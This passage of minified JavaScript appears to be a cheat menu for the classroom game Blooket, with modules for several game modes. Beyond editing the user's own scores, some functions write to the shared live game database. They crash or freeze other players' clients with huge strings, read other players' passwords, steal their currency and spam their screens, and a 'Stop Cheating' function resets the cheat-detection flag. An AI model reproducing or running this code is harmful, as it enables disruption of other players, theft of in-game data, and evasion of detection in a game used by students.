you",type:"toggle",enabled:!1,data:null,run:function(){this.enabled?(this.enabled=!1,clearInterval(this.data),this.data=null):(this.enabled=!0,this.data=setInterval((()=>{let{stateNode:e}=Object.values(function e(t=document.querySelector("body>div")){return Object.values(t)[1]?.children?.[0]?._owner.stateNode?t:e(t.querySelector(":scope>div"))}())[1].children[0]._owner,{text:t}=e.state.choices[0],o=document.querySelector("[class^=styles__feedbackContainer___]");if(o.children.length<=4){let e=document.createElement("div");e.style.color="white",e.style.fontFamily="Inconsolata,Helvetica,monospace,sans-serif",e.style.fontSize="2em",e.style.display="flex",e.style.justifyContent="center",e.style.marginTop="675px",e.innerText=t,o.append(e)}}),50))}},{name:"Password ESP",description:"Highlights the wrong passwords",type:"toggle",enabled:!1,data:null,run:function(){try{let e=this;e.enabled?(e.enabled=!1,clearInterval(e.data),e.data=null):(e.enabled=!0,e.data=setInterval((()=>{let{state:e}=Object.values(function e(t=document.querySelector("#app > div > div")){return Object.values(t)[1]?.children?.[1]?._owner.stateNode?t:e(t.querySelector(":scope>div"))}())[1].children[1]._owner.stateNode;"hack"===e.stage&&Array.from(document.querySelectorAll('[role="button"]._button_mrhfb_157')).forEach((t=>{t.textContent.trim()!==e.correctPassword.trim()?(t.style.outlineColor="rgba(255, 64, 64, 0.8)",t.style.backgroundColor="rgba(255, 64, 64, 0.8)",t.style.textShadow="0 0 1px #f33"):(t.style.outlineColor="",t.style.backgroundColor="",t.style.textShadow="")}))}),50))}catch(e){console.error("An error occurred:",e)}}},{name:"Always Triple",description:"Always get triple crypto",type:"toggle",enabled:!1,data:null,run:function(){this.enabled?(this.enabled=!1,clearInterval(this.data),this.data=null):(this.enabled=!0,this.data=setInterval((()=>Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode.setState({choices:[{type:"mult",val:3,rate:.075,blook:"Brainy Bot",text:"Triple Crypto"}]})),50))}},{name:"Always Hack",description:"Always get hack",type:"toggle",enabled:!1,data:null,run:function(){this.enabled?(this.enabled=!1,clearInterval(this.data),this.data=null):(this.enabled=!0,this.data=setInterval((()=>Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode.setState({choices:[{type:"hack",val:3,rate:.075,blook:"Mega Bot",text:"HACK"}]})),50))}},{name:"Crash Password",description:"Crashes other players when they attempt to hack you",type:"toggle",enabled:!1,data:null,run:function(){var e=Object.values(function e(t=document.querySelector("#app")){return Object.values(t)[1]?.children?.[0]?._owner.stateNode?t:e(t.querySelector(":scope>div"))}())[1].children[0]._owner.stateNode;if(this.enabled)this.enabled=!1,clearInterval(this.data),this.data=null,e.props.liveGameController.setVal({path:`c/${e.props.client.name}/p`,val:e.state?.password});else{this.enabled=!0;let t=()=>{e.props.liveGameController.setVal({path:`c/${e.props.client.name}/p/toString`,val:"crash"})};this.data=setInterval(t,25)}}},{name:"Set Freeze Password",description:"Freezes other players when they attempt to hack you",type:"toggle",enabled:!1,data:null,run:function(){const encodedChars=["\\u2f9f","\\u4fff","\\u4f52","\\u0E47","\\u0E47","\\u0E47","\\u0E47","\\u0E47","\\u0E47","\\u0E47","\\u4FF1","\\u4FF2"],chars=encodedChars.map((char=>eval(`"${char}"`)));function makeLongText(){return new Array(3e6).fill().map((e=>chars[Math.floor(Math.random()*chars.length)])).join("")}var t=Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;if(this.enabled)this.enabled=!1,clearInterval(this.data),this.data=null,t.setState({password:""}),t.props.liveGameController.setVal({path:"c/".concat(t.props.client.name),val:{b:t.props.client.blook,p:"",cr:t.state.crypto}});else{this.enabled=!0;let e=()=>{var e=makeLongText();t.setState({password:e}),t.props.liveGameController.setVal({path:"c/".concat(t.props.client.name),val:{b:t.props.client.blook,p:e,cr:t.state.crypto}})};this.data=setInterval(e,25)}}},{name:"Auto Guess",description:"Automatically performs the hack for you",type:"toggle",enabled:!1,data:null,run:function(){try{let e=this;e.enabled?(e.enabled=!1,clearInterval(e.data),e.data=null):(e.enabled=!0,e.data=setInterval((()=>{if("hack"===("hack"===window.location.pathname.split("/")[2]&&"hack")){let{stage:e,correctPassword:t}=Object.values(document.querySelector("#app > div > div"))[1].children[1]._owner.stateNode.state;"hack"===e&&Array.from(document.querySelectorAll("div")).filter((e=>e.innerHTML===t))[0].click()}}),50))}catch(e){console.error("An error occurred:",e)}}},{name:"Set Host Screen Green",description:"Makes the whole screen filled with text",type:"toggle",enabled:!1,data:null,run:function(){var e=Object.values(function e(t=document.querySelector("#app")){return Object.values(t)[1]?.children?.[0]?._owner.stateNode?t:e(t.querySelector(":scope>div"))}())[1].children[0]._owner.stateNode;if(this.enabled)this.enabled=!1,clearInterval(this.data),this.data=null,e.props.liveGameController.setVal({path:`c/${e.props.client.name}/cr`,val:""});else{this.enabled=!0;let t=()=>{e.props.liveGameController.setVal({path:`c/${e.props.client.name}/cr`,val:`9999999999999999999999999999999999999999999999${new Array(999).fill("็".repeat(70)).join(" ")}`})};this.data=setInterval(t,25)}}},{name:"Remove Hack",description:"Removes an attacking hack",run:function(){Object.values(document.querySelector("#app>div>div"))[1].children[0]._owner.stateNode.setState({hack:""})}},{name:"Set Crypto",description:"Sets crypto",inputs:[{name:"Amount",type:"number"}],run:function(e){var t=Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;t.setState({crypto:e,crypto2:e}),t.props.liveGameController.setVal({path:"c/"+t.props.client.name+"/cr",val:e})}},{name:"Set Password",description:"Sets hacking password",inputs:[{name:"Custom Password",type:"string"}],run:function(e){var t=Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;t.setState({password:e}),t.props.liveGameController.setVal({path:"c/"+t.props.client.name+"/p",val:e})}},{name:"Set Screen Text",description:"Makes the whole screen filled with text",inputs:[{name:"Text",type:"text"}],run:function(e){let t=document.createElement("iframe");document.body.append(t),window.prompt=t.contentWindow.prompt.bind(window),t.remove();var o=Object.values(function e(t=document.querySelector("#app")){return Object.values(t)[1]?.children?.[0]?._owner.stateNode?t:e(t.querySelector(":scope>div"))}())[1].children[0]._owner.stateNode;o.props.liveGameController.setVal({path:`c/${o.props.client.name}/cr`,val:`9999999999999999999999999999999999999999999999${new Array(999).fill(e).join(" ")}`})}},{name:"Steal Player's Crypto",description:"Steals all of someone's crypto",inputs:[{name:"Player",type:"options",options(){let e=Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;return new Promise((t=>e.props.liveGameController._liveApp?e.props.liveGameController.getDatabaseVal("c",(e=>e&&t(Object.keys(e)))):t([])))}}],run:function(e){let t=Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;t.props.liveGameController.getDatabaseVal("c",(o=>{var a;o&&Object.keys(o).map((e=>e.toLowerCase())).includes(e.toLowerCase())&&([o,{cr:a}]=Object.entries(o).find((([t])=>t.toLowerCase()==e.toLowerCase())),t.setState({crypto:t.state.crypto+a,crypto2:t.state.crypto+a}),t.props.liveGameController.setVal({path:"c/".concat(t.props.client.name),val:{b:t.props.client.blook,p:t.state.password,cr:t.state.crypto+a,tat:o+":"+a}}))}))}},{name:"Get Player's Password",description:"Shows the password of any player in an alert box",inputs:[{name:"Player",type:"options",options(){let e=Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;return new Promise((t=>e.props.liveGameController._liveApp?e.props.liveGameController.getDatabaseVal("c",(e=>e&&t(Object.keys(e)))):t([])))}}],run:function(e){let t=document.createElement("iframe");document.body.append(t);const o=t.contentWindow.alert.bind(window);t.remove(),Object.values(document.querySelector("#app>div>div"))[1].children[0]._owner.stateNode.props.liveGameController.getDatabaseVal("c",(t=>{o(t?.[e]?.p)}))}},{name:"Send Ad Text",description:"Sends a load of text to another player (This will override your blook!)",inputs:[{name:"Player",type:"options",options(){let{stateNode:e}=Object.values(function e(t=document.querySelector("body>div")){return Object.values(t)[1]?.children?.[0]?._owner.stateNode?t:e(t.querySelector(":scope>div"))}())[1].children[0]._owner;return new Promise((t=>e.props.liveGameController._liveApp?e.props.liveGameController.getDatabaseVal("c",(e=>e&&t(Object.keys(e)))):t([])))}},{name:"Text"}],run:async function(e,t){let{props:o}=Object.values(function e(t=document.querySelector("body>div")){return Object.values(t)[1]?.children?.[0]?._owner.stateNode?t:e(t.querySelector(":scope>div"))}())[1].children[0]._owner.stateNode,a=`Dog:${Array(500).fill(t).join(" ")}`;o.client.blook=a,o.liveGameController.setVal({path:`c/${o.client.name}/b`,val:a}),o.liveGameController.setVal({path:`c/${o.client.name}/tat`,val:`${e}:196`})}}],defense:[{name:"Earthquake",description:"Shuffles around towers",run:function(){let e=Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode,t=(e.setState({eventName:"Earthquake",event:{short:"e",color:"#805500",icon:"fas fa-mountain",desc:"All of your towers get mixed up",rate:.02},buyTowerName:"",buyTower:{}},(()=>e.eventTimeout=setTimeout((()=>e.setState({event:{},eventName:""})),6e3))),e.tiles.forEach((e=>e.forEach(((t,o)=>3===t&&(e[o]=0))))),e.tiles.flatMap(((e,t)=>e.map(((e,o)=>0===e&&{x:o,y:t})))).filter(Boolean).sort((()=>.5-Math.random())));e.towers.forEach((o=>{var{x:a,y:n}=t.shift();o.move(a,n,e.tileSize),e.tiles[n][a]=3}))}},{name:"Max Tower Stats",description:"Makes all placed towers overpowered",run:function(){Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode.towers.forEach((e=>{e.range=100,e.fullCd=e.cd=0,e.damage=1e6}))}},{name:"Remove Ducks",description:"Removes ducks",run:function(){let{ducks:e,tiles:t}=Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;e.forEach((e=>{t[e.y][e.x]=0})),e.length=0}},{name:"Remove Enemies",description:"Removes all the enemies",run:function(){var e=Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;e.enemies=e.futureEnemies=[]}},{name:"Remove Obstacles",description:"Lets you place towers anywhere",run:function(){var e=Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;e.tiles=e.tiles.map((e=>e.fill(0)))}},{name:"Set Damage",description:"Sets damage",inputs:[{name:"Damage",type:"number"}],run:function(e){Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode.dmg=e}},{name:"Set Round",description:"Sets the current round",inputs:[{name:"Round",type:"number"}],run:function(e){Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode.setState({round:e})}},{name:"Set Tokens",description:"Sets the amount of tokens you have",inputs:[{name:"Tokens",type:"number"}],run:function(e){Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode.setState({tokens:e})}}],defense2:[{name:"Max Tower Stats",description:"Makes all placed towers overpowered",run:function(){Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode.state.towers.forEach((e=>{if(e.stats.dmg=1e6,e.stats.fireRate=50,e.stats.ghostDetect=!0,e.stats.maxTargets=1e6,e.stats.numProjectiles&&=100,e.stats.range=100,e.stats.auraBuffs)for(let t in e.stats.auraBuffs)e.stats.auraBuffs[t]*=100}))}},{name:"Kill Enemies",description:"Kills all the enemies",run:function(){var e=Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;e.game.current.scene.scenes[0].enemyQueue.length=0,e.game.current.scene.scenes[0].physics.world.bodies.entries.forEach((e=>e?.gameObject?.receiveDamage?.(e.gameObject.hp,1)))}},{name:"Set Coins",description:"Sets coins",inputs:[{name:"Coins",type:"number"}],run:function(e){Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode.setState({coins:e})}},{name:"Set Health",description:"Sets the amount of health you have",inputs:[{name:"Health",type:"number"}],run:function(e){Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode.setState({health:e})}},{name:"Set Round",description:"Sets the current round",inputs:[{name:"Round",type:"number"}],run:function(e){Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode.setState({round:e})}}],dinos:[{name:"Auto Choose",description:"Automatically choose the best fossil when excavating",type:"toggle",enabled:!1,data:null,run:function(){this.enabled?(this.enabled=!1,clearInterval(this.data),this.data=null):(this.enabled=!0,this.data=setInterval((()=>{(async()=>{try{let{stateNode:e}=Object.values(function e(t=document.querySelector("body>div")){return Object.values(t)[1]?.children?.[0]?._owner.stateNode?t:e(t.querySelector(":scope>div"))}())[1].children[0]._owner;if("excavate"===e.state.stage){e.state.choices.length||(e.state.choices=function(e,t){const o=[];for(;o.length<t;){const t=Math.random();let a=0,n=null;for(let o=0;o<e.length;o++)if(a+=e[o].rate,a>=t){n=e[o];break}n&&!o.includes(n)&&o.push(n)}return o}([{type:"fossil",val:10,rate:.1,blook:"Amber"},{type:"fossil",val:25,rate:.1,blook:"Dino Egg"},{type:"fossil",val:50,rate:.175,blook:"Dino Fossil"},{type:"fossil",val:75,rate:.175,blook:"Stegosaurus"},{type:"fossil",val:100,rate:.15,blook:"Velociraptor"},{type:"fossil",val:125,rate:.125,blook:"Brontosaurus"},{type:"fossil",val:250,rate:.075,blook:"Triceratops"},{type:"fossil",val:500,rate:.025,blook:"Tyrannosaurus Rex"},{type:"mult",val:1.5,rate:.05},{type:"mult",val:2,rate:.025}],3));let t=0,o=-1;for(let a=0;a<e.state.choices.length;a++){const{type:n,val:r}=e.state.choices[a],i=("fossil"==n?e.state.fossils+r*e.state.fossilMult:e.state.fossils*r)||0;i<=t&&"mult"!=n||(t=i,o=a+1)}document.querySelector('div[class*=rockRow] > div[role="button"]:nth-child('+o+")").click()}}catch{}})()}),50))}},{name:"Rock ESP",description:"Shows what is under the rocks",type:"toggle",enabled:!1,data:null,run:function(){let e=["⁰","¹","²","³","⁴","⁵","⁶","⁷","⁸","⁹"],t=t=>{let o="";for(;t>0;)o=e[t%parseInt("10")]+o,t=~~(t/10);return o},o=e=>{let o=e.toString();if(e>=1e3){let a=["","K","M","B","T"],n=~~((digits(e)-1)/3);if(n<a.length){let t="";for(let o=3;o>=1;o--){if(t=parseFloat((0!==n?e/1e3**n:e).toPrecision(o)).toString(),t.replace(/[^a-zA-Z 0-9]+/g,"").length<=3)break}Number(t)%1!=0&&(t=Number(t).toFixed(1)),o=t+a[n]}else{let a=e,n=0;for(;a>=100;)a=Math.floor(a/10),n+=1;o=`${a/10} × 10${t(n+1)}`}}return o};this.enabled?(this.enabled=!1,clearInterval(this.data),this.data=null):(this.enabled=!0,this.data=setInterval((()=>{let{stateNode:e}=Object.values(function e(t=document.querySelector("body>div")){return Object.values(t)[1]?.children?.[0]?._owner.stateNode?t:e(t.querySelector(":scope>div"))}())[1].children[0]._owner,t=[...document.querySelector('[class*="rockButton"]').parentElement.children];t.every((e=>e.querySelector("div")))||e.setState({choices:[{type:"fossil",val:10,rate:.1,blook:"Amber"},{type:"fossil",val:25,rate:.1,blook:"Dino Egg"},{type:"fossil",val:50,rate:.175,blook:"Dino Fossil"},{type:"fossil",val:75,rate:.175,blook:"Stegosaurus"},{type:"fossil",val:100,rate:.15,blook:"Velociraptor"},{type:"fossil",val:125,rate:.125,blook:"Brontosaurus"},{type:"fossil",val:250,rate:.075,blook:"Triceratops"},{type:"fossil",val:500,rate:.025,blook:"Tyrannosaurus Rex"},{type:"mult",val:1.5,rate:.05},{type:"mult",val:2,rate:.025}].sort((()=>.5-Math.random())).slice(0,3)},(()=>{t.forEach(((t,a)=>{let n=e.state.choices[a];t.querySelector("div")&&t.querySelector("div").remove();let r=document.createElement("div");r.style.color="white",r.style.fontFamily="Macondo",r.style.fontSize="1em",r.style.display="flex",r.style.justifyContent="center",r.style.transform="translateY(25px)",r.innerText="fossil"===n.type?`+${Math.round(n.val*e.state.fossilMult)>99999999?o(Math.round(n.val*e.state.fossilMult)):Math.round(n.val*e.state.fossilMult)} Fossils`:`x${n.val} Fossils Per Excavation`,t.append(r)}))}))}),50))}},{name:"Set Fossils",description:"Sets the amount of fossils you have",inputs:[{name:"Fossils",type:"number"}],run:function(e){var t=Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;t.setState({fossils:e}),t.props.liveGameController.setVal({path:"c/"+t.props.client.name,val:{b:t.props.client.blook,f:e,ic:t.state.isCheating}})}},{name:"Set Multiplier",description:"Sets fossil multiplier",inputs:[{name:"Multiplier",type:"number"}],run:function(e){Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode.setState({fossilMult:e})}},{name:"Stop Cheating",description:"Undoes cheating so that you can't be caught",run:function(){var e=Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;e.setState({isCheating:!1}),e.props.liveGameController.setVal({path:`c/${e.props.client.name}/ic`,val:!1})}}],doom:[{name:"Fill Deck",description:"Fills your deck with every maxed out card and artifact (Only works on towers page)",run:function(){let e=document.createElement("iframe");if(document.body.append(e),window.alert=e.contentWindow.alert.bind(window),e.remove(),"/tower/map"==window.location.pathname){let{stateNode:e}=Object.values(function e(t=document.querySelector("body>div")){return Object.values(t)[1]?.children?.[0]?._owner.stateNode?t:e(t.querySelector(":scope>div"))}())[1].children[0]._owner;e.props.tower.artifacts="Medical Kit|Fury Relic|Survival Guide|Steel Socks|Piggy Bank|Lucky Feather|Coupon|Cheese|Tasty Egg|Training Weights|Mighty Shield|Toxic Waste|Lifeline Totem|Cursed Hourglass|Band-Aid|Elder Coins|Captain's Anchor|Chess Pieces|Pink Hippo|Anorak's Wizard Cap|Dave's Doggo|Anubis' Obelisk|Farm Tractor|Magic Seedling|Just A Bone|Cozy Igloo|King's Crown|Sacred Scroll".split("|"),e.props.tower.cards="Chick,🌽|Chicken,🌽|Cow,🌽|Goat,🌽|Horse,🌽|Pig,🌽|Sheep,🌽|Duck,🌽|Dog,🌽|Cat,🐾|Rabbit,🐾|Goldfish,🐾|Hamster,🐾|Turtle,🐾|Kitten,🐾|Puppy,🐾|Bear,🌲|Moose,🌲|Fox,🌲|Raccoon,🌲|Squirrel,🌲|Owl,🌲|Hedgehog,🌲|Baby Penguin,❄️|Penguin,❄️|Arctic Fox,❄️|Snowy Owl,❄️|Polar Bear,❄️|Arctic Hare,❄️|Seal,❄️|Walrus,❄️|Tiger,🌴|Panther,🌴|Cockatoo,🌴|Orangutan,🌴|Anaconda,🌴|Macaw,🌴|Jaguar,🌴|Capuchin,🌴|Toucan,🌴|Parrot,🌴|Elf,⚔️|Witch,⚔️|Wizard,⚔️|Fairy,⚔️|Slime Monster,⚔️|Jester,⚔️|Dragon,⚔️|Unicorn,⚔️|Queen,⚔️|King,⚔️|Snow Globe,☃️|Holiday Gift,☃️|Hot Chocolate,☃️|Gingerbread Man,☃️|Gingerbread House,☃️|Holiday Wreath,☃️|Snowman,☃️|Santa Claus,☃️|Two of Spades,🏰|Eat Me,🏰|Drink Me,🏰|Alice,🏰|Queen of Hearts,🏰|Dormouse,🏰|White Rabbit,🏰|Cheshire Cat,🏰|Caterpillar,🏰|Mad Hatter,🏰|King of Hearts,🏰".split("|").map((e=>{let[t,o]=e.split(",");return{strength:20,charisma:20,wisdom:20,class:o,blook:t}}));try{e.props.addTowerNode()}catch{}e.setState({showDeck:!1})}else alert("You need to be on the map to run this cheat!")}},{name:"Max Cards",description:"Maxes out all the cards in your deck",run:function(){var e=document.createElement("iframe");document.body.append(e),window.alert=e.contentWindow.alert.bind(window),e.remove(),"/tower/map"==window.location.pathname?(e=Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode).props.tower.cards.forEach((e=>{e.strength=20,e.charisma=20,e.wisdom=20})):alert("You need to be on the map to run this cheat!")}},{name:"Max Health",description:"Fills the player's health",run:function(){var e=document.createElement("iframe");document.body.append(e),window.alert=e.contentWindow.alert.bind(window),e.remove(),"/tower/battle"==window.location.pathname?Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode.setState({myHealth:100}):alert("You need to be in battle to run this cheat!")}},{name:"Max Card Stats",description:"Maxes out player's current card (Only works on attribute select page)",run:function(){var e=document.createElement("iframe");"select"!==(e=(document.body.append(e),window.alert=e.contentWindow.alert.bind(window),e.remove(),Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner).stateNode).state.phase?alert("You must be on the attribute selection page!"):e.setState({myCard:{...e.state.myCard,strength:20,charisma:20,wisdom:20}})}},{name:"Min Enemy Stats",description:"Makes the enemy card stats all 0 (Only works on attribute select page)",run:function(){var e=document.createElement("iframe");"select"!==(e=(document.body.append(e),window.alert=e.contentWindow.alert.bind(window),e.remove(),Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner).stateNode).state.phase?alert("You must be on the attribute selection page!"):e.setState({enemyCard:{...e.state.enemyCard,strength:0,charisma:0,wisdom:0}})}},{name:"Set Coins",description:"Try's to set amount of tower coins you have",inputs:[{name:"Coins",type:"number"}],run:function(e){var t=document.createElement("iframe");if(document.body.append(t),window.alert=t.contentWindow.prompt.bind(window),t.remove(),"/tower/battle"==window.location.pathname){t=parseInt("0"+alert("How many coins would you like?"));var o=Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode;try{o.props.setTowerCoins(t)}catch{}}else alert("You need to be in battle to run this cheat!")}},{name:"Set Streak",description:"Sets your streak to the desired amount",inputs:[{name:"Streak",type:"number"}],run:function(e){var t=document.createElement("iframe");document.body.append(t),window.alert=t.contentWindow.alert.bind(window),t.remove(),"/tower/battle"==window.location.pathname?Object.values(document.querySelector("body div[id] > div > div"))[1].children[0]._owner.stateNode.setState({myStreak:!0,streak:e}):alert("You need to be in battle to run this cheat!")}}],factory:[{name:"Choose Blook",description:"Gives you a blook",inputs:[{name:"Blook",type:"options",options:[{name:"Chick",color:"#ffcd05",class:"🌽",rarity:"Common",cash:[3,7,65,400,2500],time:[1,1,1,1,1],price:[300,3e3,3e4,2e5]},{name:"Chicken",color:"#ed1c24",class:"🌽",rarity:"Common",cash:[10,40,200,1400,1e4],time:[5,4,3,2,1],price:[570,4e3,5e4,8e5]},{name:"Cow",color:"#58595b",class:"🌽",rarity:"Common",cash:[25,75,1500,25e3,25e4],time:[15,10,10,10,5],price:[500,9500,16e4,4e6]},{name:"Duck",color:"#4ab96d",class:"🌽",rarity:"Common",cash:[4,24,200,3e3,4e4],time:[3,3,3,3,3],price:[450,4200,7e4,11e5]},{name:"Goat",color:"#c59a74",class:"🌽",rarity:"Common",cash:[5,28,200,1300,12e3],time:[3,3,2,2,2],price:[500,6400,45e3,5e5]},{name:"Horse",color:"#995b3c",class:"🌽",rarity:"Common",cash:[5,20,270,1800,15e3],time:[2,2,2,2,2],price:[550,8200,65e3,6e5]},{name:"Pig",color:"#f6a9cb",class:"🌽",rarity:"Common",cash:[20,50,1300,8e3,8e4],time:[7,7,7,7,5],price:[400,11e3,8e4,13e5]},{name:"Sheep",color:"#414042",class:"🌽",rarity:"Common",cash:[6,25,250,1500,11e3],time:[3,3,3,2,2],price:[500,5e3,5e4,43e4]},{name:"Cat",color:"#f49849",class:"🐾",rarity:"Common",cash:[5,18,170,1700,13e3],time:[2,2,2,2,2],price:[480,5500,6e4,5e5]},{name:"Dog",color:"#995b3c",class:"🐾",rarity:"Common",cash:[7,25,220,1900,9e3],time:[3,3,2,2,1],price:[460,6600,7e4,73e4]},{name:"Goldfish",color:"#f18221",class:"🐾",rarity:"Common",cash:[5,40,350,3500,35e3],time:[3,3,3,3,3],price:[750,7200,84e3,95e4]},{name:"Rabbit",color:"#e7bf9a",class:"🐾",rarity:"Common",cash:[3,18,185,800,7e3],time:[2,2,2,1,1],price:[500,5800,56e3,55e4]},{name:"Hamster",color:"#ce9176",class:"🐾",rarity:"Common",cash:[10,45,450,4500,45e3],time:[4,4,4,4,4],price:[650,6500,8e4,93e4]},{name:"Turtle",color:"#619a3c",class:"🐾",rarity:"Common",cash:[23,120,1400,15e3,17e4],time:[10,10,10,10,10],price:[700,8500,11e4,13e5]},{name:"Puppy",color:"#414042",class:"🐾",rarity:"Common",cash:[4,10,75,500,3e3],time:[1,1,1,1,1],price:[450,4e3,35e3,25e4]},{name:"Kitten",color:"#58595b",class:"🐾",rarity:"Common",cash:[4,8,60,400,2e3],time:[1,1,1,1,1],price:[350,3500,26e3,17e4]},{name:"Bear",color:"#995b3c",class:"🌲",rarity:"Common",cash:[12,70,550,4500,1e5],time:[7,7,6,5,5],price:[550,5500,63e3,16e5]},{name:"Moose",color:"#995b3c",class:"🌲",rarity:"Common",cash:[8,45,400,3500,26e3],time:[5,5,4,4,3],price:[520,6500,58e3,7e5]},{name:"Fox",color:"#f49849",class:"🌲",rarity:"Common",cash:[7,15,80,550,3e3],time:[2,2,1,1,1],price:[400,4e3,36e3,24e4]},{name:"Raccoon",color:"#6d6e71",class:"🌲",rarity:"Common",cash:[5,14,185,1900,19e3],time:[2,2,2,2,2],price:[400,5e3,71e3,8e5]},{name:"Squirrel",color:"#d25927",class:"🌲",rarity:"Common",cash:[3,10,65,470,2600],time:[1,1,1,1,1],price:[420,3600,32e3,21e4]},{name:"Owl",color:"#594a42",class:"🌲",rarity:"Common",cash:[4,17,155,1500,15e3],time:[2,2,2,2,2],price:[500,4800,55e3,58e4]},{name:"Hedgehog",color:"#3f312b",class:"🌲",rarity:"Common",cash:[11,37,340,2200,3e4],time:[5,4,3,2,2],price:[540,7e3,77e3,12e5]},{name:"Seal",color:"#7ca1d5",class:"❄️",rarity:"Common",cash:[6,17,150,1200,13e3],time:[2,2,2,2,2],price:[480,4500,43e3,52e4]},{name:"Arctic Fox",color:"#7ca1d5",class:"❄️",rarity:"Common",cash:[5,18,180,850,8500],time:[2,2,2,1,1],price:[520,550,61e3,68e4]},{name:"Snowy Owl",color:"#feda3f",class:"❄️",rarity:"Common",cash:[5,20,190,1900,16e3],time:[3,3,2,2,2],price:[370,5300,76e3,62e4]},{name:"Arctic Hare",color:"#7ca1d5",class:"❄️",rarity:"Common",cash:[6,19,85,900,7e3],time:[2,2,1,1,1],price:[540,5200,66e3,55e4]},{name:"Penguin",color:"#fb8640",class:"❄️",rarity:"Common",cash:[4,21,310,3200,33e3],time:[3,3,3,3,3],price:[400,6500,76e3,87e4]},{name:"Baby Penguin",color:"#414042",class:"❄️",rarity:"Common",cash:[3,8,70,450,2700],time:[1,1,1,1,1],price:[420,3300,33e3,23e4]},{name:"Polar Bear",color:"#7ca1d5",class:"❄️",rarity:"Common",cash:[12,75,700,6500,85e3],time:[8,7,6,5,5],price:[630,7e3,91e3,14e5]},{name:"Walrus",color:"#7d4f33",class:"❄️",rarity:"Common",cash:[11,46,420,3700,51e3],time:[5,5,4,4,4],price:[550,6200,68e3,1e6]},{name:"Tiger",color:"#f18221",class:"🌴",rarity:"Common",cash:[6,20,100,975,7500],time:[3,3,1,1,1],price:[390,6e3,7e4,61e4]},{name:"Jaguar",color:"#fbb040",class:"🌴",rarity:"Common",cash:[8,28,230,1600,17e3],time:[3,3,2,2,2],price:[390,6e3,7e4,61e4]},{name:"Toucan",color:"#ffca34",class:"🌴",rarity:"Common",cash:[9,20,175,625,3800],time:[2,2,2,1,1],price:[520,4800,42e3,3e5]},{name:"Cockatoo",color:"#7ca1d5",class:"🌴",rarity:"Common",cash:[6,35,160,1700,18e3],time:[4,4,2,2,2],price:[500,5e3,63e3,7e5]},{name:"Macaw",color:"#00aeef",class:"🌴",rarity:"Common",cash:[3,8,85,850,8500],time:[1,1,1,1,1],price:[480,5400,62e3,63e4]},{name:"Parrot",color:"#ed1c24",class:"🌴",rarity:"Common",cash:[3,9,90,900,9e3],time:[1,1,1,1,1],price:[540,5700,65e3,69e4]},{name:"Panther",color:"#2f2c38",class:"🌴",rarity:"Common",cash:[12,28,215,2100,21e3],time:[5,3,2,2,2],price:[530,6500,76e3,87e4]},{name:"Anaconda",color:"#8a9143",class:"🌴",rarity:"Common",cash:[3,15,85,1500,7600],time:[1,2,1,2,1],price:[410,5100,58e3,59e4]},{name:"Orangutan",color:"#bc6234",class:"🌴",rarity:"Common",cash:[13,52,570,4300,7e4],time:[5,5,5,4,4],price:[600,7e3,8e4,14e5]},{name:"Capuchin",color:"#e0b0a6",class:"🌴",rarity:"Common",cash:[4,14,160,780,8200],time:[2,2,2,1,1],price:[390,4700,57e3,68e4]},{name:"Elf",color:"#a7d054",class:"⚔️",rarity:"Uncommon",cash:[5e3,15e3,15e4,15e5,1e7],time:[1,1,1,1,1],price:[8e5,9e6,11e7,8e8]},{name:"Witch",color:"#4ab96d",class:"⚔️",rarity:"Uncommon",cash:[18e3,6e4,4e4,4e6,35e6],time:[3,3,2,2,2],price:[11e5,12e6,15e7,14e8]},{name:"Wizard",color:"#5a459c",class:"⚔️",rarity:"Uncommon",cash:[19500,65e3,44e4,46e5,4e6],time:[3,3,2,2,2],price:[13e5,135e5,16e7,16e8]},{name:"Fairy",color:"#df6d9c",class:"⚔️",rarity:"Uncommon",cash:[18500,6e4,62e4,44e5,38e6],time:[3,3,3,2,2],price:[12e5,125e5,15e6,15e8]},{name:"Slime 